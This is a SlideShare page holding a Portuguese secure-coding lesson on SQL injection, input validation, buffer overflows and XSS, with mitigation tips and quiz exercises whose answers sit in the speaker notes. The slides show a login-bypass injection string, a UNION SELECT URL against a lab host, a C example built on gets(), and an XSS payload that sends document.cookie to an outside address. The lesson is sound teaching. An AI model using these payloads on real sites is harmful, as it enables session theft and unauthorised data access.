SlideShare uma empresa Scribd logo
1 de 20
AULA 03
O objetivo deste curso é capacitar os treinandos em Codificação
Segura – Fundamentos, com habilidades e conhecimento em
Secure Programming - Foundation.
Objetivo do Curso
“A revolução começa com a informação e termina
com o resultado."
(Bernardo Morais)
Público-Alvo
 Todos que desejam ter conhecimento em Fundamentos de Programação
Segura
 Todos que tenham interesse no desenvolvimento de softwares seguros e
auditores que irão trabalhar com o Framework Secure Software.
Alcyon Junior
Gestor de Segurança da
Informação no
SEBRAE
Três graduações
Redes de
Computadores
Pós em Redes pela
Cisco | MBA em
Governança de TI |
Pós em
CyberSecurity
Mestrado em
Segurança
Cibernética
Autor de livros
sobre Segurança
Cibernética
EHF | ISO27002
| ITILF | CNAP |
CEH | MVM |
LPIC-1
Instrutor
credenciado
pela EXIN e
Líder da OWASP
BSB
#WHOAMI
Autor do capítulo 19
Configurações de segurança
DISCLAIMER
The information contained in this document may be privileged
and confidential and protected from disclosure. If the reader of
this document is not the intended recipient, or an employee
agent responsible for delivering this document to the
intended recipient, you are hereby notified that any
dissemination, distribution or copying of this communication is
strictly prohibited.
MÓDULO
MANEJO DE ENTRADA DE USUÁRIO
Objetivos
• Reconhecer os problemas de ataques de injeção.
• Explicar a diferença entre consultas diretas e parametrizadas.
• Aplicar soluções para ataques de injeção SQL.
• Explicar a diferença entre filtros de lista branca (whitelist) e lista negra (blacklist).
• Aplicar validação de entrada.
• Reconhecer quando aplicar normalização de entrada e codificação.
• Identificar onde ocorrem estouros de buffer e como eles impactam a segurança.
• Reconhecer a diferença entre ataques XSS refletidos e armazenados e as
mitigações.
• Aplicar soluções para ataques XSS.
Ataques de injeção – injeção de SQL
SELECT * FROM Users WHERE Username='$username' AND
Password='$password'
1' or '1' = '1
1' or '1' = ‘1
Resultado da Query:
SELECT * FROM Users WHERE Username='1' OR '1' =
'1' AND Password='1' OR '1' = '1'
Ataques de injeção – injeção de SQL
DEMO
Ataques de injeção – injeção de SQL
http://192.168.15.51/cgi-
bin/badstore.cgi?searchquery=1%27%3D%270%27+UNION+
SELECT+1%2C+1%2C+1%2C+1+from+userdb+%23+&action=se
arch&x=0&y=0
1'='0' UNION SELECT 1, 1, 1, 1 from userdb #
• Não use SQL dinâmico quando puder ser evitado: use instruções preparadas, consultas
parametrizadas ou procedimentos armazenados, sempre que possível.
• Atualização e correção: vulnerabilidades em aplicativos e bancos de dados que hackers
podem explorar usando SQL injection são regularmente descobertas, por isso é vital aplicar
patches e atualizações assim que possível.
• Reduza sua superfície de ataque: Livre-se de qualquer funcionalidade de banco de dados
que você não precise impedir que um hacker tire vantagem disso. Por exemplo, o
procedimento armazenado estendido xp_cmdshell no MS SQL gera um shell de comando do
Windows e passa uma cadeia para execução, o que pode ser muito útil para um hacker. O
processo do Windows gerado por xp_cmdshell tem os mesmos privilégios de segurança que
a conta de serviço do SQL Server.
• Use os privilégios apropriados: não se conecte ao seu banco de dados usando uma conta
com privilégios de nível de administrador, a menos que haja algum motivo convincente para
fazê-lo. Usar uma conta de acesso limitado é muito mais seguro e pode limitar o que um
hacker é capaz de fazer.
4 dicas para mitigar os Ataques de SQLi
Validação de entrada
• Lista negra
• Lista branca
Estouros de buffer ou
Transbordamento de Buffer
#include <stdio.h>
#include <stdlib.h>
#define BUFLEN 80
void doit(int offset)
{
char buffer[BUFLEN];
gets(&buffer[offset]);
/* do more */
}
int main(void)
{
doit(0);
return 0;
}
O Cross-Site-Scripting ou
Script Cruzado entre Sites (XSS)
Hacker Vítima Seu site
Browser/app
/WWW
Infecta com script
Explora
Visita
Injeta script
Explora
Ataques de injeção – injeção de SQL
<script>alert("HaCkEd by AlcyJones")</script>
<script>new Image()
.src="http://192.168.1.10/alcyonjones.php?output="
+document.cookie;</script>
Revisão
Ataques de SQL Injection
Validação de Entrada
Estouro de Buffer
XSS
Exercícios – Soluções para SQL Injection
Qual destas alternativas não é uma solução possível para evitar
ataques de SQL Injection?
A. Realizar consultas parametrizadas;
B. Utilizar a técnica de saída para neutralizar meta-
caracteres;
C. Realizar a validação de entrada;
D. Realizar um CSRF;
Exercício - Validação de Entrada
Quais destes não é um método aplicável à validação de entrada?
A. Lista Branca e Lista Preta
B. Higienização
C. Buffer Overflow ou Transbordamento de Buffer.
D. Usar expressões regulares
Exercício
O cross-site scripting ou XSS ou script cruzado entre sites é um ataque
onde um invasor pode executar um JavaScript na saída. Qual destes não
é um tipo de XSS?
A. XSS de Transbordamento de Pilha;
B. XSS Refletido;
C. XSS Armazenado;
D. XSS baseado em DOM;

Mais conteúdo relacionado

Mais procurados

kill-chain-presentation-v3
kill-chain-presentation-v3kill-chain-presentation-v3
kill-chain-presentation-v3
Shawn Croswell
 
Web Application Security and Awareness
Web Application Security and AwarenessWeb Application Security and Awareness
Web Application Security and Awareness
Abdul Rahman Sherzad
 
Web Application Security Testing
Web Application Security TestingWeb Application Security Testing
Web Application Security Testing
Marco Morana
 
Software Security Engineering
Software Security EngineeringSoftware Security Engineering
Software Security Engineering
Marco Morana
 

Mais procurados (20)

AULA 9 - INTRODUÇÃO À CIBERSEGURANÇA
AULA 9 - INTRODUÇÃO À CIBERSEGURANÇAAULA 9 - INTRODUÇÃO À CIBERSEGURANÇA
AULA 9 - INTRODUÇÃO À CIBERSEGURANÇA
 
kill-chain-presentation-v3
kill-chain-presentation-v3kill-chain-presentation-v3
kill-chain-presentation-v3
 
Web application vulnerabilities
Web application vulnerabilitiesWeb application vulnerabilities
Web application vulnerabilities
 
Introduction XSS
Introduction XSSIntroduction XSS
Introduction XSS
 
Red7 Software Application Security Threat Modeling
Red7 Software Application Security Threat ModelingRed7 Software Application Security Threat Modeling
Red7 Software Application Security Threat Modeling
 
Web Application Security and Awareness
Web Application Security and AwarenessWeb Application Security and Awareness
Web Application Security and Awareness
 
OWASP Secure Coding
OWASP Secure CodingOWASP Secure Coding
OWASP Secure Coding
 
Introduction to MITRE ATT&CK
Introduction to MITRE ATT&CKIntroduction to MITRE ATT&CK
Introduction to MITRE ATT&CK
 
Cybersecurity Basics - Aravindr.com
Cybersecurity Basics - Aravindr.comCybersecurity Basics - Aravindr.com
Cybersecurity Basics - Aravindr.com
 
Web Security Attacks
Web Security AttacksWeb Security Attacks
Web Security Attacks
 
Segurança da Informação
Segurança da InformaçãoSegurança da Informação
Segurança da Informação
 
Web Application Security Testing
Web Application Security TestingWeb Application Security Testing
Web Application Security Testing
 
Software Security Engineering
Software Security EngineeringSoftware Security Engineering
Software Security Engineering
 
Seminario seguranca da informacao
Seminario seguranca da informacaoSeminario seguranca da informacao
Seminario seguranca da informacao
 
Application Threat Modeling
Application Threat ModelingApplication Threat Modeling
Application Threat Modeling
 
Segurança da Informação - Aula 4 - Malwares
Segurança da Informação - Aula 4 - MalwaresSegurança da Informação - Aula 4 - Malwares
Segurança da Informação - Aula 4 - Malwares
 
Cybersecurity Career Paths | Skills Required in Cybersecurity Career | Learn ...
Cybersecurity Career Paths | Skills Required in Cybersecurity Career | Learn ...Cybersecurity Career Paths | Skills Required in Cybersecurity Career | Learn ...
Cybersecurity Career Paths | Skills Required in Cybersecurity Career | Learn ...
 
Aula 7 - Ataque de Força Bruta
Aula 7 - Ataque de Força BrutaAula 7 - Ataque de Força Bruta
Aula 7 - Ataque de Força Bruta
 
Application Security Architecture and Threat Modelling
Application Security Architecture and Threat ModellingApplication Security Architecture and Threat Modelling
Application Security Architecture and Threat Modelling
 
EC-Council Certified Secure Computer User C|SCU Program
EC-Council Certified Secure Computer User C|SCU ProgramEC-Council Certified Secure Computer User C|SCU Program
EC-Council Certified Secure Computer User C|SCU Program
 

Semelhante a Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon Junior

Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Clavis Segurança da Informação
 

Semelhante a Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon Junior (20)

Como se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareComo se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de Software
 
Explorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemExplorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometem
 
Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem
 
Defensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon JuniorDefensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon Junior
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 
Segurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSourceSegurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSource
 
Engenharia de Software II - Teste de segurança de software
Engenharia de Software  II - Teste de segurança de softwareEngenharia de Software  II - Teste de segurança de software
Engenharia de Software II - Teste de segurança de software
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
 
Reduzindo riscos através do controle de usuários privilegiados, auditoria e v...
Reduzindo riscos através do controle de usuários privilegiados, auditoria e v...Reduzindo riscos através do controle de usuários privilegiados, auditoria e v...
Reduzindo riscos através do controle de usuários privilegiados, auditoria e v...
 
Usando Ansible para Orquestração de Segurança e Conformidade
Usando Ansible para Orquestração de Segurança e ConformidadeUsando Ansible para Orquestração de Segurança e Conformidade
Usando Ansible para Orquestração de Segurança e Conformidade
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Java security
Java securityJava security
Java security
 
Seguranca e Criptografia de Dados
Seguranca e Criptografia de DadosSeguranca e Criptografia de Dados
Seguranca e Criptografia de Dados
 
Pentest com Kali Linux - LatinoWare 2015
Pentest com Kali Linux  - LatinoWare 2015Pentest com Kali Linux  - LatinoWare 2015
Pentest com Kali Linux - LatinoWare 2015
 
Ethical Hacking - Campus Party Brasília 2017
Ethical Hacking - Campus Party Brasília 2017Ethical Hacking - Campus Party Brasília 2017
Ethical Hacking - Campus Party Brasília 2017
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Validando a Segurança de Software
Validando a Segurança de SoftwareValidando a Segurança de Software
Validando a Segurança de Software
 
Database - Attack & Protect
Database - Attack & ProtectDatabase - Attack & Protect
Database - Attack & Protect
 

Mais de Alcyon Ferreira de Souza Junior, MSc

Mais de Alcyon Ferreira de Souza Junior, MSc (19)

Defensive programming - MindTheSec São Paulo 2019
Defensive programming - MindTheSec São Paulo 2019Defensive programming - MindTheSec São Paulo 2019
Defensive programming - MindTheSec São Paulo 2019
 
Dica 01 - Hash de Senhas e sua utilização Segura
Dica 01 - Hash de Senhas e sua utilização SeguraDica 01 - Hash de Senhas e sua utilização Segura
Dica 01 - Hash de Senhas e sua utilização Segura
 
Mapa mental de Desenvolvimento seguro de software
Mapa mental de Desenvolvimento seguro de softwareMapa mental de Desenvolvimento seguro de software
Mapa mental de Desenvolvimento seguro de software
 
A nova onda da Segurança Cibernética e seus times coloridos
A nova onda da Segurança Cibernética e seus times coloridosA nova onda da Segurança Cibernética e seus times coloridos
A nova onda da Segurança Cibernética e seus times coloridos
 
Como hackear tudo! na Campus Party BSB 2
Como hackear tudo! na Campus Party BSB 2Como hackear tudo! na Campus Party BSB 2
Como hackear tudo! na Campus Party BSB 2
 
SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...
SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...
SEGURANÇA DA INFORMAÇÃO​ E A TRANSFORMAÇÃO DIGITAL: COMO SOBREVIVER NESTE NOV...
 
7 segredos para a criação de malware - Campus Party Brasil 2018
7 segredos para a criação de malware - Campus Party Brasil 20187 segredos para a criação de malware - Campus Party Brasil 2018
7 segredos para a criação de malware - Campus Party Brasil 2018
 
7 segredos sobre o PenTest e software livre - VI Engitec
7 segredos sobre o PenTest e software livre - VI Engitec 7 segredos sobre o PenTest e software livre - VI Engitec
7 segredos sobre o PenTest e software livre - VI Engitec
 
PenTest com Kali linux - VI Engitec
PenTest com Kali linux - VI EngitecPenTest com Kali linux - VI Engitec
PenTest com Kali linux - VI Engitec
 
Google hacking e SQL Injection: Tudo junto e misturado!
Google hacking e SQL Injection: Tudo junto e misturado!Google hacking e SQL Injection: Tudo junto e misturado!
Google hacking e SQL Injection: Tudo junto e misturado!
 
Red Teaming and Alternative Analysis
Red Teaming and Alternative AnalysisRed Teaming and Alternative Analysis
Red Teaming and Alternative Analysis
 
PenTest com Kali Linux - Palestra na UPIS 2014
PenTest com Kali Linux - Palestra na UPIS 2014PenTest com Kali Linux - Palestra na UPIS 2014
PenTest com Kali Linux - Palestra na UPIS 2014
 
Segurança da Informação na era do software livre - Volday III
Segurança da Informação na era do software livre - Volday IIISegurança da Informação na era do software livre - Volday III
Segurança da Informação na era do software livre - Volday III
 
Palestra alcyon junior - LatinoWare 2016
Palestra alcyon junior - LatinoWare 2016Palestra alcyon junior - LatinoWare 2016
Palestra alcyon junior - LatinoWare 2016
 
7 segredos para a criação de malware - LatinoWare 2017
7 segredos para a criação de malware - LatinoWare 20177 segredos para a criação de malware - LatinoWare 2017
7 segredos para a criação de malware - LatinoWare 2017
 
Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...
Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...
Segurança cibernetica na era do software livre utilizando o BackTrack - Debi...
 
7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...
7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...
7 Segredos sobre o PenTest e o Softeware Livre que todos deveriam saber - Con...
 
Pentest com BackTrack - Campus Party Brasil 2013
Pentest com BackTrack - Campus Party Brasil 2013Pentest com BackTrack - Campus Party Brasil 2013
Pentest com BackTrack - Campus Party Brasil 2013
 
Google Hacking e SQL Injection: Tudo junto e misturado!
Google Hacking e SQL Injection: Tudo junto e misturado!Google Hacking e SQL Injection: Tudo junto e misturado!
Google Hacking e SQL Injection: Tudo junto e misturado!
 

Último

Último (6)

ATIVIDADE 1 - CUSTOS DE PRODUÇÃO - 52_2024.docx
ATIVIDADE 1 - CUSTOS DE PRODUÇÃO - 52_2024.docxATIVIDADE 1 - CUSTOS DE PRODUÇÃO - 52_2024.docx
ATIVIDADE 1 - CUSTOS DE PRODUÇÃO - 52_2024.docx
 
ATIVIDADE 1 - ESTRUTURA DE DADOS II - 52_2024.docx
ATIVIDADE 1 - ESTRUTURA DE DADOS II - 52_2024.docxATIVIDADE 1 - ESTRUTURA DE DADOS II - 52_2024.docx
ATIVIDADE 1 - ESTRUTURA DE DADOS II - 52_2024.docx
 
ATIVIDADE 1 - LOGÍSTICA EMPRESARIAL - 52_2024.docx
ATIVIDADE 1 - LOGÍSTICA EMPRESARIAL - 52_2024.docxATIVIDADE 1 - LOGÍSTICA EMPRESARIAL - 52_2024.docx
ATIVIDADE 1 - LOGÍSTICA EMPRESARIAL - 52_2024.docx
 
ATIVIDADE 1 - GCOM - GESTÃO DA INFORMAÇÃO - 54_2024.docx
ATIVIDADE 1 - GCOM - GESTÃO DA INFORMAÇÃO - 54_2024.docxATIVIDADE 1 - GCOM - GESTÃO DA INFORMAÇÃO - 54_2024.docx
ATIVIDADE 1 - GCOM - GESTÃO DA INFORMAÇÃO - 54_2024.docx
 
Boas práticas de programação com Object Calisthenics
Boas práticas de programação com Object CalisthenicsBoas práticas de programação com Object Calisthenics
Boas práticas de programação com Object Calisthenics
 
Padrões de Projeto: Proxy e Command com exemplo
Padrões de Projeto: Proxy e Command com exemploPadrões de Projeto: Proxy e Command com exemplo
Padrões de Projeto: Proxy e Command com exemplo
 

Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon Junior

  • 2. O objetivo deste curso é capacitar os treinandos em Codificação Segura – Fundamentos, com habilidades e conhecimento em Secure Programming - Foundation. Objetivo do Curso “A revolução começa com a informação e termina com o resultado." (Bernardo Morais) Público-Alvo  Todos que desejam ter conhecimento em Fundamentos de Programação Segura  Todos que tenham interesse no desenvolvimento de softwares seguros e auditores que irão trabalhar com o Framework Secure Software.
  • 3. Alcyon Junior Gestor de Segurança da Informação no SEBRAE Três graduações Redes de Computadores Pós em Redes pela Cisco | MBA em Governança de TI | Pós em CyberSecurity Mestrado em Segurança Cibernética Autor de livros sobre Segurança Cibernética EHF | ISO27002 | ITILF | CNAP | CEH | MVM | LPIC-1 Instrutor credenciado pela EXIN e Líder da OWASP BSB #WHOAMI
  • 4. Autor do capítulo 19 Configurações de segurança
  • 5.
  • 6. DISCLAIMER The information contained in this document may be privileged and confidential and protected from disclosure. If the reader of this document is not the intended recipient, or an employee agent responsible for delivering this document to the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited.
  • 8. Objetivos • Reconhecer os problemas de ataques de injeção. • Explicar a diferença entre consultas diretas e parametrizadas. • Aplicar soluções para ataques de injeção SQL. • Explicar a diferença entre filtros de lista branca (whitelist) e lista negra (blacklist). • Aplicar validação de entrada. • Reconhecer quando aplicar normalização de entrada e codificação. • Identificar onde ocorrem estouros de buffer e como eles impactam a segurança. • Reconhecer a diferença entre ataques XSS refletidos e armazenados e as mitigações. • Aplicar soluções para ataques XSS.
  • 9. Ataques de injeção – injeção de SQL SELECT * FROM Users WHERE Username='$username' AND Password='$password' 1' or '1' = '1 1' or '1' = ‘1 Resultado da Query: SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
  • 10. Ataques de injeção – injeção de SQL DEMO
  • 11. Ataques de injeção – injeção de SQL http://192.168.15.51/cgi- bin/badstore.cgi?searchquery=1%27%3D%270%27+UNION+ SELECT+1%2C+1%2C+1%2C+1+from+userdb+%23+&action=se arch&x=0&y=0 1'='0' UNION SELECT 1, 1, 1, 1 from userdb #
  • 12. • Não use SQL dinâmico quando puder ser evitado: use instruções preparadas, consultas parametrizadas ou procedimentos armazenados, sempre que possível. • Atualização e correção: vulnerabilidades em aplicativos e bancos de dados que hackers podem explorar usando SQL injection são regularmente descobertas, por isso é vital aplicar patches e atualizações assim que possível. • Reduza sua superfície de ataque: Livre-se de qualquer funcionalidade de banco de dados que você não precise impedir que um hacker tire vantagem disso. Por exemplo, o procedimento armazenado estendido xp_cmdshell no MS SQL gera um shell de comando do Windows e passa uma cadeia para execução, o que pode ser muito útil para um hacker. O processo do Windows gerado por xp_cmdshell tem os mesmos privilégios de segurança que a conta de serviço do SQL Server. • Use os privilégios apropriados: não se conecte ao seu banco de dados usando uma conta com privilégios de nível de administrador, a menos que haja algum motivo convincente para fazê-lo. Usar uma conta de acesso limitado é muito mais seguro e pode limitar o que um hacker é capaz de fazer. 4 dicas para mitigar os Ataques de SQLi
  • 13. Validação de entrada • Lista negra • Lista branca
  • 14. Estouros de buffer ou Transbordamento de Buffer #include <stdio.h> #include <stdlib.h> #define BUFLEN 80 void doit(int offset) { char buffer[BUFLEN]; gets(&buffer[offset]); /* do more */ } int main(void) { doit(0); return 0; }
  • 15. O Cross-Site-Scripting ou Script Cruzado entre Sites (XSS) Hacker Vítima Seu site Browser/app /WWW Infecta com script Explora Visita Injeta script Explora
  • 16. Ataques de injeção – injeção de SQL <script>alert("HaCkEd by AlcyJones")</script> <script>new Image() .src="http://192.168.1.10/alcyonjones.php?output=" +document.cookie;</script>
  • 17. Revisão Ataques de SQL Injection Validação de Entrada Estouro de Buffer XSS
  • 18. Exercícios – Soluções para SQL Injection Qual destas alternativas não é uma solução possível para evitar ataques de SQL Injection? A. Realizar consultas parametrizadas; B. Utilizar a técnica de saída para neutralizar meta- caracteres; C. Realizar a validação de entrada; D. Realizar um CSRF;
  • 19. Exercício - Validação de Entrada Quais destes não é um método aplicável à validação de entrada? A. Lista Branca e Lista Preta B. Higienização C. Buffer Overflow ou Transbordamento de Buffer. D. Usar expressões regulares
  • 20. Exercício O cross-site scripting ou XSS ou script cruzado entre sites é um ataque onde um invasor pode executar um JavaScript na saída. Qual destes não é um tipo de XSS? A. XSS de Transbordamento de Pilha; B. XSS Refletido; C. XSS Armazenado; D. XSS baseado em DOM;

Notas do Editor

  1. Page 1
  2. Page 2
  3. Objetivos Reconhecer os problemas de ataques de injeção. Explicar a diferença entre consultas diretas e parametrizadas. Aplicar soluções para ataques de injeção SQL. Explicar a diferença entre filtros de lista branca (whitelist) e lista negra (blacklist). Aplicar validação de entrada. Reconhecer quando aplicar normalização de entrada e codificação. Identificar onde ocorrem estouros de buffer e como eles impactam a segurança. Reconhecer a diferença entre ataques XSS refletidos e armazenados e as mitigações. Aplicar soluções para ataques XSS.
  4. Especificações 3.1.1 Reconhecer os problemas do ataque de injeção. 3.1.2 Explicar a diferença entre querie direta e parametrizada. Discutir os ataques de injeção. Dar atenção especial ao ataque de SQL injection. Ver a sessão 3.1 do Workbook. Exemplos de senhas que vazaram por SQL injection: "Breach clean-up cost LinkedIn nearly $1 million, another $2-3 million in upgrades" (http://www.zdnet.com/article/breach-clean-up-cost-linkedin-nearly-1-million-another-2-3-million-in-upgrades/) "LinkedIn slapped with $5 million class action suit over leaked passwords" (https://nakedsecurity.sophos.com/2012/06/21/linkedin-slapped-with-5-million-class-action-suit-over-leaked-passwords/) More examples on http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/
  5. Especificações 3.1.1 Reconhecer os problemas do ataque de injeção. 3.1.2 Explicar a diferença entre querie direta e parametrizada. Discutir os ataques de injeção. Dar atenção especial ao ataque de SQL injection. Ver a sessão 3.1 do Workbook. Exemplos de senhas que vazaram por SQL injection: "Breach clean-up cost LinkedIn nearly $1 million, another $2-3 million in upgrades" (http://www.zdnet.com/article/breach-clean-up-cost-linkedin-nearly-1-million-another-2-3-million-in-upgrades/) "LinkedIn slapped with $5 million class action suit over leaked passwords" (https://nakedsecurity.sophos.com/2012/06/21/linkedin-slapped-with-5-million-class-action-suit-over-leaked-passwords/) More examples on http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/
  6. Especificações 3.1.1 Reconhecer os problemas do ataque de injeção. 3.1.2 Explicar a diferença entre querie direta e parametrizada. Discutir os ataques de injeção. Dar atenção especial ao ataque de SQL injection. Ver a sessão 3.1 do Workbook. Exemplos de senhas que vazaram por SQL injection: "Breach clean-up cost LinkedIn nearly $1 million, another $2-3 million in upgrades" (http://www.zdnet.com/article/breach-clean-up-cost-linkedin-nearly-1-million-another-2-3-million-in-upgrades/) "LinkedIn slapped with $5 million class action suit over leaked passwords" (https://nakedsecurity.sophos.com/2012/06/21/linkedin-slapped-with-5-million-class-action-suit-over-leaked-passwords/) More examples on http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/
  7. Especificações: 3.2.1 Explicar a diferença entre lista branca e lista negra. lain the difference between whitelist and blacklist filters. 3.2.3 Reconhecer quando aplicar a normalização de entrada e codificação. Discutir a diferença entre lista preta e lista branca. Ver a sessão 3.2 do Workbook. Lista Preta: proibir tudo que está na lista negra Lista Branca: permitir tudo que está na lista branca. Mais eficiente que a lista preta.
  8. Especificação 3.3.1 Identificar onde o buffer overflow ocorre e como ele impacta na segurança. Discutir como o buffer overflow funciona (ver a figura 3.1 do Workbook). Às vezes não é o conteúdo, mas sim o tamanho dos dados que são enviados. Quando eles são escritos fora do intervalo de memória por um invasor, ele pode manipular o estado interno do programa. A pilha cresce de um endereço de memória alto para um endereço baixo, ou seja, é uma pilha que cresce pra baixo. StackOverflow.
  9. Especificação 3.4.1 Reconhecer a diferença entre ataques XSS refletidos, armazenados e suas mitigações. 3.4.2 Aplicar soluções para o ataque XSS. Num ataque XSS típico, o hacker infecta um normal e não-malicioso site com um script malicioso (client-side). Quando o usuário visita a página, é feito o download do script no browser e o script é executado, o que geralmente resulta em algo ruim ou indesejado. O maior risco é que alguém pode fingir ser a vítima e fazer qualquer coisa que a vítima poderia fazer dentro de um aplicativo . No caso de um navegador , que poderia ser muito ... Veja a sessão 3.7 do Workbook. A saída de um aplicativo pode ser a entrada para ele próprio. O cross-site scripting ou XSS ou script cruzado entre sites é um ataque onde um invasor pode executar um JavaScript na saída. XSS refletido baseia-se na vontade da vítima em cooperar, convence alguém a fazer uma solicitação, ou clicar em um link, ou enviar um formulário que contém parâmetros de entrada maliciosa, que são processados pelo navegador da vítima. XSS armazenado é quando um invasor pode armazenar ou inserir dados maliciosos no lado servidor, que será processado pouco depois quando a vítima utilizá-lo. XSS baseado em DOM não envolve um servidor, mas utiliza do fato que o JavaScript na propria pagina processa partes do URL da página. As regras do HTML são diferentes do XHTML Minimizar o impacto do XSS: Usar o cookie atributo HttpOnly Impedir que os arquivos carregados sejam exibidos na mesma página web que o aplicativo, os documentos carregados podem conter códigos maliciosos Solicitar para abrir o documento ou visualizá-lo em outra URL Lembre que o XSS ocorre entre sites, e não na saída do Browser.
  10. Especificações 3.1.1 Reconhecer os problemas do ataque de injeção. 3.1.2 Explicar a diferença entre querie direta e parametrizada. Discutir os ataques de injeção. Dar atenção especial ao ataque de SQL injection. Ver a sessão 3.1 do Workbook. Exemplos de senhas que vazaram por SQL injection: "Breach clean-up cost LinkedIn nearly $1 million, another $2-3 million in upgrades" (http://www.zdnet.com/article/breach-clean-up-cost-linkedin-nearly-1-million-another-2-3-million-in-upgrades/) "LinkedIn slapped with $5 million class action suit over leaked passwords" (https://nakedsecurity.sophos.com/2012/06/21/linkedin-slapped-with-5-million-class-action-suit-over-leaked-passwords/) More examples on http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/
  11. Revisar conceitos e termos.
  12. Especificação 3.1.3 Aplicar soluções para ataques de SQL Injection. Completar o treinamento com um exercício que permita que os alunos possam mostrar como aplicar soluções aos ataques de SQL injection. Resposta - D
  13. Especificação 3.2.2 Aplicar a validação de entrada. Complete o treinamento com um exercício que permita aos alunos mostrar que eles podem aplicar soluções para validar corretamente a entrada. Resposta - C
  14. Especificação 3.4.2 Aplicar soluções aos ataques XSS. Complete o treinamento com a tarefa que permita aos candidatos mostrarem como eles podem aplicar soluções para os ataques XSS. Resposta - A